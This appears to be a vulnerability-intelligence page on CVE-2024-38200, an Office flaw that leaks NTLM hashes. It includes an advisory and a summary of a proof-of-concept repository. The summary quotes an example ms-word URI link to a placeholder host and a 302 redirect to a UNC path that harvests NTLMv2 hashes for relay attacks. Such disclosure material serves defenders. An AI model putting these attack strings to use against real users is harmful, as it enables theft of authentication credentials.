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CVE-2024-38200 is a Microsoft Office spoofing and information disclosure vulnerability affecting Microsoft Office 2016, Office 2019, Office LTSC 2021, and Microsoft 365 Apps. A remote, unauthenticated attacker can craft malicious web content or a specially crafted file that, when a user clicks a link or opens the file, causes the victim system to disclose NTLM authentication hashes. The issue enables exposure of protected authentication material rather than direct code execution, and is described as allowing unauthorized access to sensitive information through Office content handling.
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1 valid exploit after Mallory filtered fakes, detection scripts, and README-only repos (1 hidden).
This repository demonstrates a proof-of-concept exploit for CVE-2024-38200 (and related CVE-2024-43609), targeting Microsoft Office's handling of Office URI schemes. The exploit consists of two main files: 'office.html', which contains a link using the Office URI scheme (e.g., ms-word:ofe|u|http://hostname:port/leak.docx) to trigger an HTTP request from the victim's Office application, and 'uncredirect.py', a Python Flask server that listens for incoming HTTP requests and responds with a 302 redirect to a UNC path (e.g., \\IPaddress\test.docx). This causes the victim's Office application to attempt NTLM authentication with the attacker's server, allowing the attacker to capture the NTLMv2 hash. The README.md provides detailed background, usage instructions, and mitigation advice. The exploit is effective against certain versions of Microsoft Office (notably Office 2019 and Microsoft 365) with default or misconfigured NTLM authentication settings, and can be used to relay captured hashes to LDAP or ADCS for privilege escalation. The repository is structured as a proof-of-concept and is not weaponized, but demonstrates a real attack vector that can be leveraged in post-exploitation or red team scenarios.
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Microsoft Office spoofing vulnerability that can expose NTLM hashes (enabling NTLM relay/pass-the-hash) via specially crafted file/phishing lure; described as publicly known.
Publicly disclosed Microsoft Office spoofing vulnerability (not yet exploited per the content).
A Microsoft Office and Microsoft 365 Apps vulnerability that can allow a remote unauthenticated attacker to exfiltrate NTLM authentication hashes via specially crafted web content or files, requiring user interaction.
A high-severity information disclosure vulnerability in Microsoft Office 2016 that could expose NTLM hashes to remote attackers.
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